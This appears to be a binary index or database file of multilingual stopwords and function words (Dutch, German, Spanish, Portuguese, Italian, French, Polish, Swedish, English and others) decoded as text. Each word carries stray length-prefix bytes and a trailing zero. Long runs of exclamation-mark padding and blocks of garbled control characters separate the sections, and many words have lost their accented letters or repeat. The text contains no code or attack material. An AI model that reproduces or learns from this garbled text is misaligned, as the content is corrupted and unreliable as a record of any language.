might0
	might0
mij0
mijn0
mijne0
,mijnenthalve0
*mijnentwege0
,mijnentwille0
*mijnerzijds0
"mijzelf0

mil0
mila0
*milionesimo0
mille0
&millesimo0
$milliard0
,milliardime0
.milliardimes0
*milliardste0
,milliardstem0
,milliardsten0
,milliardster0
,milliardstes0
*millionime0
,millionimes0
(millionste0
*millionstem0
*millionsten0
*millionster0
*millionstes0
$millime0
&millimes0

*millonsima0

,millonsimas0

*millonsimo0

,millonsimos0

 milln0

0milmillonsima0

2milmillonsimas0

0milmillonsimo0

2milmillonsimos0

$milsima0

&milsimas0

$milsimo0

&milsimos0
min0
min0
mince0
 minder0
mine0
&minnetjes0
(minsandten0
$minstens0
minus0
minus0
 minute0
mio0
mir0
mis0

mis0
&misschien0
*misricorde0
mit0
mit0
mits0
"mitsamt0
$mitsdien0
"mittels0
$mittelst0
mod0
"miaByby0
miej0
 miejmy0
$miejcie|0
mnie0
mn0
mil0
$milsima0
&milsimas0
$milsimo0
&milsimos0
 milho0
"milhes0
*milionsima0
,milionsimas0
*milionsimo0
,milionsimos0
mim0
minha0
 minhas0
mo0
mig0
"miljard0
 miljon0
$miljonte0
$milliard0
"million0
&millionte0
min0
mina0
mitt0
"mittfr0
(mittibland0
$mittver0
mightos0
muh0
muss0
musst0
 musste0
"mussten0
$musstest0
"musstet0
must0
must0
	must0
must0
must0
	must0
mu0
mut0
mute0
 muten0
"mutest0
 mutet0
my0
my0
	my0
my0
my0
	my0
mtin0
m0
mske0
mtte0

m0

ma0

mas0

mo0

mos0
msse0
 mssen0
"mssend0
"mssest0
 msset0
msst0
 msste0
"mssten0
$msstest0
"msstet0
mt0
mte0
 mten0
"mtest0
 mtet0
n0
n0
n0
n0
n0
n0
n0
n0
n0
n0
	n0
na0
na0
na0
na0
$naardien0
(naargelang0
$naarmate0
nach0
"nachdem0
nad0

nada0
nadat0
$nademaal0
$naderbij0
&naderhand0

nadie0
 nadien0
$nagenoeg0
nah0
"miaByby0
miej0
 miejmy0
$miejcie|0
mnie0
mn0
my0
mj0
 mojego0
 mojemu0
mym0
moi0
mych0
mymi0
moja0
mojej0
moj0
moje0
 mxime0
mil0
$milsima0
&milsimas0
$milsimo0
&milsimos0
 milho0
"milhes0
*milionsima ^<

 

x
^
D

lN0dJ0
z
V
0
j
:

			b	6		nDpDh~DZ:b8~T(~`B$nL,xR4x\tH,:`

U&RAH.0
cela0
celle0
 celles0
celui0

"centena0

$centenas0

"centeno0

$centenos0
&centesimo0
$centime0
&centimes0
cento0
0centocinquanta0
(centodieci0
&centomila0
0centomillesimo0
,centonovanta0
.centoquaranta0
.centosessanta0
.centosettanta0
cem0
cento0
cento!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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comeramos0
comme0
comme0
"comment0

como0
con0
con0

con0
(concernant0

"conmigo0

 conque0

"consigo0

"contigo0
 contra0

 contra0
 contre0
 contro0
(corbezzoli0
"corbleu0
&cos'altro0
cosa0
$cosicch0
 costei0
"costoro0
 costui0
 cotale0
 cotali0
 coucou0
couic0
could0
could0
	could0
could0
could0
	could0
cote0
crac0
crac0
&crescendo0
cric0
cric0
 crnom0

,cuadragsima0

.cuadragsimas0

,cuadragsimo0

.cuadragsimos0

4cuadringentsima0

6cuadringentsimas0

4cuadringentsimo0

6cuadringentsimos0

cual0

 cuales0

,cualesquiera0

&cualquier0

(cualquiera0

 cuando0

 cuanta0

"cuantas0

 cuanto0

"cuantos0

$cuarenta0

 cuarta0

"cuartas0

 cuarto0

"cuartos0

(cuatrilln0

 cuatro0

.cuatrocientos0
cui0

cuya0

cuyas0

cuyo0

cuyos0

cul0

 cules0

 cundo0

 cunta0

"cuntas0

 cunto0

"cuntos0
czyi0
 czyich0
czyim0
 czyimi0
czyj0
czyj0
(comereis0
,comearamos0
*comeareis0
"comeas0
&comeasse0
*comesseis0
(comeassem0
,comessemos0
(comeasses0
&comeaste0
(comeastes0
$comeava0
&comeavam0
*comevamos0
&comeavas0
(comeveis0
 comeo0
"comeou0
 comigo0
como0
.completamente0
$conforme0
&confronte0
"conosco0
&conquanto0
4conseqentemente0
"consigo0
&consoante0
$contanto0
"contigo0
$continua0
(continuada0
*continuadas0
(continuado0
*continuados0
&continuai0
(continuais0
&continuam0
*continuamos0
*continuando0
&continuar0
(continuara0
(continuar0
*continuaram0
.continuramos0
*continuaro0
*continuaras0
*continuars0
,continuardes0
*continuarei0
,continuareis0
,continureis0
*continuarem0
.continuaremos0
*continuares0
*continuaria0
,continuariam0
0continuaramos0
,continuarias0
.continuareis0
,continuarmos0
&continuas0
*continuasse0
.continusseis0
,continuassem0
0continussemos0
,continuasses0
*continuaste0
,continuastes0
(continuava0
*continuavam0
.continuvamos0
*continuavas0
,continuveis0
$continue0
&continuei0
(continueis0
&continuem0
*continuemos0
&continues0
$continuo0
&continuou0
 contra0
"contudo0
$convosco0
cuja0
cujas0
cujo0
cujos0
como0
 contra0
 contra0
couldter0
"darber0
das0
&dasjenige0
dass0
$dasselbe0
(comereis0
,comearamos0
*comeareis0
"comeas0
&comeasse0
*comesseis0
(comeassem0
,comessemos0
(comeasses0
&comeaste0
(comeastes0
$comeava0
&comeavam0
*comevamos0
&comeavas0
(comeveis0
 comeo0
"comeou0
 comigo0
como0
.completamente0
$conforme0
&confronte0vT4



x
\
>
"

			p	P	.		fFZ&b4nR4XbB"|`:dB8"plhb:B<dX8Z0.\6nDN`:,vRt$X6~.B
*X


n

~R`
U}J;0
czyja0
czyje0
"czyjego0
 czyjej0
"czyjemu0
c0

"cspita0
$cntuplo0

cmo0

&crcholis0
d0
d0
d0
d0
d0
d0
d0
d0
d0
d0
	d0
d.h.0
d.i.0
da0
da0
da0
da0
da0
daar0
"daaraan0
(daaraantoe0
(daarachter0
*daarbeneden0
,daarbenevens0
"daarbij0
(daarbinnen0
&daarboven0
(daarbuiten0
$daardoor0
*daarenboven0
*daarentegen0
$daareven0
&daarginds0
$daarheen0
 daarin0
&daarlangs0
$daarmede0
"daarmee0
 daarna0
$daarnaar0
&daarnaast0
"daarnet0
(daarnevens0
 daarom0
(daaromheen0
.daaromstreeks0
*daaromtrent0
&daaronder0
 daarop0
$daarover0
&daartegen0
.daartegenover0
"daartoe0
(daartussen0
"daaruit0
"daarvan0
*daarvandaan0
$daarvoor0
 daarzo0
dabei0

daca0
 dacch0
 dadran0
"dadrauf0
"dadraus0
 dadrin0
&dadrinnen0
 dadrum0
&dadrunter0
$dadrber0
"dadurch0
dafr0
"dagegen0
dagli0
$dahinter0
dai0
dal0
dalla0
dalle0
dallo0
dame0
damit0
&damnation0
dan0
 danach0
"daneben0
dank0
danke0
"dankzij0
dans0
daran0
 darauf0
 daraus0
 darein0
darf0
 darfst0
darin0
$darinnen0
"darnach0
$darneben0
darob0
darum0
$darunter0
"darber0
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!2VrT0



p
P
0

4xX>njP,



b
B

				x	\	>		dBZ,tP0Z6pH&^BV*nR6p|fP:$z^:~`
UJ$b0
dette0
deux0
$deuxime0
&deuximes0
deva0
$devaient0
 devais0
 devait0
 devant0
"devante0
$devantes0
"devants0
deve0
devez0
devi0
 deviez0
"devions0
devo0
 devoir0
 devono0
 devons0
devra0
 devrai0
&devraient0
"devrais0
"devrait0
 devras0
 devrez0
"devriez0
$devrions0
"devrons0
"devront0
deze0
$dezelfde0
&dezelfden0
dezen0
dezer0
(dezerzijds0
dezes0
di0
dia0
"diamine0
"diantre0
dich0
$dichtbij0
(diciannove0
0diciannovemila0
0diciannovesimo0
*diciassette0
2diciassettemila0
2diciassettesimo0
,diciottesimo0
$diciotto0
,diciottomila0
did0
did0
	did0
did0
did0
	did0
$dideldum0
*dideldumdei0
die0
die0
dieci0
&diecimila0

(diecinueve0

*dieciochena0

,dieciochenas0

*dieciocheno0

,dieciochenos0

&dieciocho0

(diecisiete0

&diecisis0
"diegene0
&diejenige0
(diejenigen0
.dienaangaande0
8dienovereenkomstig0
diens0
,diensvolgens0
0dientengevolge0
*dienvolgens0
dies0
diese0
$dieselbe0
&dieselben0
(dieselbige0
*dieselbigen0
 diesem0
 diesen0
 dieser0
 dieses0
&diesseits0
 dietro0

diez0
&diezelfde0
(diezelfden0

2diezmillonsima0

4diezmillonsimas0

2diezmillonsimo0

4diezmillonsimos0

,diezmilsima0

.diezmilsimas0

,diezmilsimo0

.diezmilsimos0
"difatti0
deva0
"devagar0
,devagarzinho0
 devais0
devam0
"devamos0
devas0
deve0
devei0
 deveis0
devem0
"devemos0
"devendo0
 devera0
 dever0
"deveram0
&devramos0
"devero0
"deveras0
"devers0
$deverdes0
"deverei0
$devereis0
$devreis0
"deverem0
&deveremos0
"deveria0
$deveriam0
(deveramos0
$deverias0
&devereis0
$devermos0
deves0
"devesse0
&devsseis0
$devessem0
(devssemos0
$devesses0
"deveste0
$devestes0
deveu0
devi0
devia0
 deviam0
$devamos0
 devias0
 devida0
"devidas0
 devido0
"devidos0
"deveis0
devo0
dez0
$dezenove0
&dezesseis0
&dezessete0
"dezoito0
 diante0
(diferentes0
"difcil0
did0
!di0
>di!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@Ld2


~
b
B

rJ$l@"


n
L
&
				V	,		b>$
bvR&h8r|Z<frLF<jtP.
d>0bBj&&dh2DF$RrV8dD$n~`
.UAJC0
 duquel0
 durant0
"durante0

"durante0
durch0
 durent0
 durfte0
"durften0
$durftest0
"durftet0
dus0
dus0
"dussent0
 dusver0
$dusverre0
dut0
&dwarsdoor0
&dwarsover0
ds0
 dcima0

 dcima0
"dcimas0

"dcimas0
 dcimo0

 dcimo0
"dcimos0

"dcimos0
"dcuplo0

dnde0
d0
dt0
drfe0
 dplex0
"dplice0
$dplices0
"durante0
$duzentas0
$duzentos0
"durante0
dvs0
dvs.0
dylik0
 dylika0
 dylikt0
 drest0
d!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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
 ersten0
 erster0
 erstes0
"ertegen0
(ertegenaan0
&ertegenin0
&ertegenop0
*ertegenover0
ertoe0
$ertussen0
,ertussendoor0
(ertussenin0
*ertussenuit0
eruit0
ervan0
&ervandaan0
&ervandoor0
 ervoor0
es0
es0

es0

esa0

esas0
"escluso0

ese0

eso0

esos0

 esotra0

"esotras0

 esotro0

"esotros0
essa0
esse0
"essendo0
"essente0
"essenti0
 essere0
essi0
esso0

esta0

 estaba0

$estabais0

"estaban0

"estabas0

estad0

"estamos0

"estando0

estar0

&estaremos0

 estar0

"estarn0

"estars0

 estar0

$estaris0

"estara0

&estarais0

(estaramos0

$estaran0

$estaras0

estas0

este0

"estemos0

esto0

estos0

"estotra0

$estotras0

"estotro0

$estotros0

estoy0

 estuve0

&estuviera0

*estuvierais0

(estuvieran0

(estuvieras0

&estuviere0

*estuviereis0

(estuvieren0

(estuvieres0

(estuvieron0

&estuviese0

*estuvieseis0

(estuviesen0

(estuvieses0

&estuvimos0

&estuviste0

*estuvisteis0

,estuviramos0

,estuviremos0

,estuvisemos0

 estuvo0

est0

&estbamos0

 estis0

estn0

ests0

est0

 estis0

estn0

ests0
essa0
essas0
esse0
esses0
esta0
est0
 estada0
"estadas0
 estado0
"estados0
estai0
 estais0
"estamos0
"estando0
esto0
estar0
 estar0
"estaro0
"estars0
$estardes0
"estarei0
$estareis0
"estarem0
&estaremos0
"estares0
"estaria0
$estariam0
(estaramos0
$estarias0
&estareis0
$estarmos0
estas0
ests0
 estava0
"estavam0
&estvamos0
"estavas0
$estveis0
este0
 esteja0
$estejais0
"estejam0
&estejamos0
"estejas0
estes0
 esteve0
 estive0
&estivemos0
"estiver0
$estivera0
&estiveram0
*estivramos0
&estiveras0
(estiverdes0
(estivreis0
&estiverem0
&estiveres0
(estivermos0
&estivesse0
*estivsseis0
(estivessem0
,estivssemos0
(estivesses0
&estiveste0
(estivestes0
estou0
esta0
est0
esto0
estar0
 estava0
este0
ert0
es0
eru0
este!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!P2 6tX|8


d
>

vN&\6
B


l
N
2
Nx(d>bB$
v	\Z	p&		f	@		|v\LrPL*2>|\:hH,`nRn6|b@$
*|V8BxZ0
zZ:vV6`
U

#GK1ȳ0
"fichtre0
fide0
$fijntjes0
fik0
fin0
 finch0
 findes0
fino0
$fintanto0
*fintantoch0
fixe0
fixus0
&flauwtjes0
flere0
 fleste0
floep0
fluks0
flut0
flte0
fob0
foei0
foin0
$folgende0
&folgendem0
&folgenden0
&folgender0
&folgendes0
for0
for0
for0
	for0
for0
for0
	for0
foran0
forbi0
force0
fordi0
 forfra0
$forgves0
$forleden0
forma0
$fornylig0
"forrest0
fors0
(fors'anche0
forte0

forte0
(fortissimo0
"fortsat0
forud0
fosse0
"fossero0
fossi0
"fossimo0
foste0
fosti0
$fouchtra0
fra0
fra0
 franco0
frei0
frem0
 fremme0
$fremover0
"frisjes0
from0
from0
	from0
from0
from0
	from0
fu0

fu0

fue0

fuera0

"fuerais0

 fueran0

 fueras0

fuere0

"fuereis0

 fueren0

 fueres0

 fueron0

fuese0

"fueseis0
&ficramos0
$ficreis0
&ficsseis0
(ficssemos0
&ficvamos0
$ficveis0
fico0
ficou0
 finais0
final0
(finalzinho0
*finalzinhos0
fique0
 fiquei0
"fiqueis0
 fiquem0
$fiquemos0
 fiques0
fiz0
"fizemos0
fizer0
 fizera0
"fizeram0
&fizramos0
"fizeras0
$fizerdes0
$fizreis0
"fizerem0
"fizeres0
$fizermos0
"fizesse0
&fizsseis0
$fizessem0
(fizssemos0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0
	he0
he0
he0
	he0

he0
 hebbes0
heda0
heden0
(hedenavond0
*hedenmiddag0
*hedenmorgen0
(hedennacht0
,hedenochtend0
&heelhuids0
heen0
hehe0
 hehehe0
hei0
heida0
heidi0
hein0
 heinde0
heisa0
hel0
 helaas0
hele0
$helemaal0
 heller0
"hellere0
 hellre0
helst0
helt0
hem0
hem0
hem0
(hemelsnaam0

hemos0
"hemzelf0
hen0
hen0
hende0
 hendes0
henen0
henne0
 henved0
hep0
her0
her0
her0
	her0
her0
her0
her0
	her0
heraf0
here0
here0
	here0
here0
here0
	here0
$herefter0
 herfra0
 herhen0
"herimod0
 hermed0
herom0
"herover0
herp0
 herrje0
(herrjemine0
$hersteds0
 hertil0
herud0
 herved0
&herwaarts0
het0
"hetgeen0
"hetwelk0
&hetzelfde0
 hetzij0
heu0
"heureka0
hick0
hid0
 hidtil0
hiep0
hier0
"hieraan0
(hierachter0
*hierbeneden0
"hierbij0
(hierbinnen0
&hierboven0
(hierbuiten0
$hierdoor0
$hierheen0
 hierin0
&hierlangs0
$hiermede0
"hiermee0
 hierna0
$hiernaar0
&hiernaast0
(hiernevens0
 hierom0
(hieromheen0
.hieromstreeks0
*hieromtrent0
&hieronder0
 hierop0
$hierover0
&hiertegen0
.hiertegenover0
"hiertoe0
(hiertussen0
"hieruit0
"hiervan0
$hiervoor0
&hiervoren0
hihi0
 hihihi0
hij0
"hijzelf0
him0
him0
	him0
him0
him0
	him0
"himself0
"himself0
	"himself0
"himself0
"himself0
	"himself0
$hinanden0
,hinsichtlich0
$hinsides0
 hinter0
hip0
his0
his0
	his0
his0
his0
	his0
 hjemme0
hm0
ho0
ho0
ho0
ho0
hoe0
 hoepla0
(hoeveelste0
$hoeverre0
 hoewel0
 hoezee0
"hoezeer0
$hogelijk0
"hogerop0
hoho0
hoi0
hola0

hola0
0holderdebolder0
"holdrio0
holla0
hol0
*honderdmaal0
0honderdtwintig0
"honoris0
.hoofdzakelijk0
&hoogstens0
"hooguit0
hop0
$hopelijk0

hopo0
hopp0
$hopphopp0
 hoppla0
hops0
hopsa0
"hopsala0
"hopsasa0
 hormis0
hors0
(haveramos0
&havereis0
havia0
 haviam0
$havamos0
 havias0
 havida0
"havidas0
 havido0
"havidos0
"haveis0
hei0
hoje0
haves0
hej0
heja0
 hejsan0
hela0
henne0
 hennes0
hick0
$hinsides0
hitom0
hon0
honom0
 hoppla0
"hoppsan0
he0
her0
here0
him0
"himself0
his0
haydi0
 hayhay0
hay1r0
hep0
hepsi0
her0
hi0
hi!!!!!!!!!!!!!!!!!!zdDZ6xJ(&rB&
lL,v^F.rX8^<v\: xV.tN$`<



l
H
 
^< rR,




j
J
&
					`	>		jN2x^D*
pv\:lL*
T4rR6b6tX8 xXH*:hfF$\4`
Up'KK0
i0
i0
	i0
i.e.0
iah0
"iblandt0
ich0
ich0
&idealiter0
idem0
idem0
ieder0
 iedere0
$iedereen0
 ieders0
 iemand0
"iemands0
iets0
 ietwat0
if0
if0
	if0
if0
if0
	if0
 iflge0
igen0
"igennem0
igitt0
 igitte0
*igittiigitt0
ih0
ih0
ih0
ihm0
ihn0
ihnen0
ihr0
ihre0
ihrem0
ihren0
ihrer0
ihres0
.ihresgleichen0
 ihrige0
"ihrigen0
ihrs0
&ijdellijk0
"ijlings0
ik0
ikke0
 ikzelf0
il0
il0
il0
ilde0
ils0
im0
"imellem0
(imidlertid0
immer0
&immermeer0
 immers0
imod0
in0
in0
in0
	in0
in0
in0
in0
in0
	in0
"incluis0
ind0
inde0
indem0
inden0
&inderdaad0
(inderhaast0
&indertijd0
indes0
$indessen0
 indien0
$indietro0
 indtil0
ineen0
 ineens0
"infatti0
"infolge0
ingen0
(ingenlunde0
(ingensinde0
(ingensteds0
"ingeval0
&ingevolge0
inkl.0
&inklusive0
&inmiddels0
$inmitten0
&innerhalb0
$inplaats0
(insgelijks0
"insieme0
$insofern0
$insoweit0
,instantelijk0
*integendeel0
(intetsteds0
"intijds0
into0
into0
	into0
into0
into0
	into0
$intussen0
 invece0
&inwiefern0
&inwieweit0
 inzake0
,inzonderheid0
io0
&irgendein0
ia0
iam0
ias0
 ibidem0
ide0
idem0
ides0
ido0
,ilustrssima0
.ilustrssimas0
,ilustrssimo0
.ilustrssimos0
in0
8incontestavelmente0
indo0
4indubitavelmente0
 inicia0
&iniciadas0
"iniciai0
$iniciais0
"iniciam0
&iniciamos0
&iniciando0
"iniciar0
$iniciara0
$iniciar0
&iniciaram0
*iniciramos0
&iniciaro0
&iniciaras0
&iniciars0
(iniciardes0
&iniciarei0
(iniciareis0
(inicireis0
&iniciarem0
*iniciaremos0
&iniciares0
&iniciaria0
(iniciariam0
,iniciaramos0
(iniciarias0
*iniciareis0
(iniciarmos0
"inicias0
&iniciasse0
*inicisseis0
(iniciassem0
,inicissemos0
(iniciasses0
&iniciaste0
(iniciastes0
$iniciava0
&iniciavam0
*inicivamos0
&iniciavas0
(iniciveis0
 inicie0
"iniciei0
$inicieis0
"iniciem0
&iniciemos0
"inicies0
 inicio0
"iniciou0
ir0
irdes0
irei0
ireis0
irem0
 iremos0
ires0
i0
i0
i0
 ibland0
icke0
ifall0
ifrn0
 igenom0
 inemot0
infr0
inga0
ingen0
&ingendera0
 ingens0
&ingenting0
inget0
"inifrn0
inkl0
inkl.0
&inklusive0
innan0
$innanfr0
inom0
inp0
inte0
intet0
&intetdera0
 intill0
"inunder0
inuti0
invid0
int0
if0
in0
into0
i0
i0
ile0
i0
!ialah0
>ia0
>ialah0
i0
$inDX,jD"n0lDDzTjd>rPT

v
pV
8
\
@				l	D			rZzB*vP2
h<jR2xX*|^D*zPX<2hlP."pT.|F.ddv`
UKe0
moi0
moi0
moins0
moj0
moja0
moje0
 mojego0
mojej0
 mojemu0
molta0
molte0
molti0
molto0
&momenteel0
mon0
mon0
mono0
"morbleu0
more0
more0
	more0
more0
more0
	more0
 morgen0
*morgenavond0
.morgenochtend0
most0
most0
	most0
most0
most0
	most0
motus0
&moyennant0
mo|e0
much0
much0
	much0
much0
much0
	much0

mucha0

 muchas0

mucho0

 muchos0
muh0
muss0
musst0
 musste0
"mussten0
$musstest0
"musstet0
must0
must0
	must0
must0
must0
	must0
mu0
mut0
mute0
 muten0
"mutest0
 mutet0
my0
my0
	my0
my0
my0
my0
	my0
mych0
mym0
mymi0
 mxime0
mtin0
m0
mske0
mtte0

m0

ma0

mas0

mo0

mos0
mj0
msse0
 mssen0
"mssend0
"mssest0
 msset0
msst0
 msste0
"mssten0
$msstest0
"msstet0
mt0
mte0
 mten0
"mtest0
 mtet0
n0
n0
n0
n0
n0
n0
n0
n0
n0
n0
	n0
na0
na0
na0
na0
$naardien0
(naargelang0
$naarmate0
nach0
"nachdem0
nad0

nada0
nadat0
$nademaal0
$naderbij0
&naderhand0

nadie0
 nadien0
$nagenoeg0
nah0
mos0
mui0
muita0
 muitas0
(muitssimo0
muito0
 muitos0
na0
nada0
"nadinha0
muito0
 muitos0
n0
na0
nada0
n0
n0
mot0
 mycken0
 mycket0
 myckna0
mnga0
 mngas0
(mngdubbel0
 mngen0
mngt0
mst0
msta0
mste0
mtte0
more0
most0
much0
must0
my0
n0
n0
na0
na!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!X6lL*
phN*~`
vUJD*0
*parecramos0
(parecreis0
*parecsseis0
,parecssemos0
 parea0
$pareais0
"paream0
&pareamos0
"pareas0
pari0
parmi0
&parramos0
$parreis0
&parsseis0
(parssemos0
&parvamos0
$parveis0
pas0
pas0
"passato0
 passim0
pass0

$patapln0
$patatrac0
$patatras0
 patsch0

pche0

pchs0
"pechre0
"pendant0
peng0
per0
per0
per0
$perbacco0
 perch0
 perci0
$perdiana0
$perdinci0
2perdindirindina0
 perdio0

pero0
$personne0
$pertanto0
per0
petto0
peu0
$peuchre0
peut0
peut0
"peuvent0
peux0

pf0
pfui0
piep0
piff0
pi0
$plankgas0
 plataf0
"platsch0
"platweg0
plein0
 pleite0
"pletter0
,plichtshalve0
$plompweg0
(plotseling0
(plotsklaps0
plouf0
 plumps0
plus0
plus0
plus0
&plusieurs0
po0
poca0

poca0

pocas0
poche0
pochi0
poco0

poco0

pocos0
pod0

"podamos0

poded0

"podemos0

poder0

 podido0

$podremos0

podr0

 podrn0

 podrs0

podr0

"podris0

 podra0

$podrais0

&podramos0

"podran0

"podras0

 podis0

 podis0

poda0

"podais0

$podamos0

 podan0

 podas0
 poich0
point0
$pomidzy0
"pootaan0

"poquita0

$poquitas0

"poquito0

$poquitos0

por0

 porque0
possa0
"possano0
$possiamo0
$possiate0
posso0
"possono0
(posteriori0
$potdomme0
potei0
"potemmo0
"potendo0
"potente0
"potenti0
poter0
 potere0
$poterono0
"potesse0
&potessero0
"potessi0
&potessimo0
"poteste0
"potesti0
 potete0
"potette0
&potettero0
"potetti0
(parecamos0
&pareceis0
 pareo0
parei0
 pareis0
parem0
"paremos0
pares0
paro0
parou0
parta0
"partais0
 partam0
$partamos0
 partas0
parte0
 partem0
 partes0
parti0
 partia0
"partiam0
&partamos0
"partias0
"partido0
$partidos0
$parteis0
$partimos0
$partindo0
 partir0
"partira0
"partir0
$partiram0
(partramos0
$partiro0
$partiras0
$partirs0
&partirdes0
$partirei0
&partireis0
&partreis0
$partirem0
(partiremos0
$partires0
$partiria0
&partiriam0
*partiramos0
&partirias0
(partireis0
&partirmos0
 partis0
$partisse0
(partsseis0
&partissem0
*partssemos0
&partisses0
$partiste0
&partistes0
 partiu0
parto0
$patavina0
pela0
pelas0
pelo0
pelos0
per0
"perante0
&permanea0
*permaneais0
(permaneam0
,permaneamos0
(permaneas0
&permanece0
(permanecei0
*permaneceis0
(permanecem0
,permanecemos0
,permanecendo0
(permanecer0
*permanecera0
*permanecer0
,permaneceram0
pela0
pelas0
pelo0
pelos0
per0
 pekala0
peki0
petV:L t`<lnLjNN20*fH(`:fpL&jXD^6|4`<D$dD"nL(lL.`
UV
CR0
(permanecem0
,permanecemos0
,permanecendo0
(permanecer0
*permanecera0
,permaneceram0
*permanecer0
&permanea0
*permaneais0
(permaneam0
,permaneamos0
(permaneas0

pero0
$personne0
$pertanto0
per0
petto0
peu0
$peuchre0
peut0
peut0
"peuvent0
peux0

pf0
pfui0
piep0
piff0
pi0
$plankgas0
 plataf0
"platsch0
"platweg0
plein0
 pleite0
"pletter0
,plichtshalve0
$plompweg0
(plotseling0
(plotsklaps0
plouf0
 plumps0
plus0
plus0
plus0
&plusieurs0
po0
poca0

poca0

pocas0
poche0
pochi0
poco0

poco0

pocos0
pod0

"podamos0

poded0

"podemos0

poder0

 podido0

$podremos0

podr0

 podrn0

 podrs0

podr0

"podris0

 podra0

$podrais0

&podramos0

"podran0

"podras0

 podis0

 podis0

poda0

"podais0

$podamos0

 podan0

 podas0
 poich0
point0
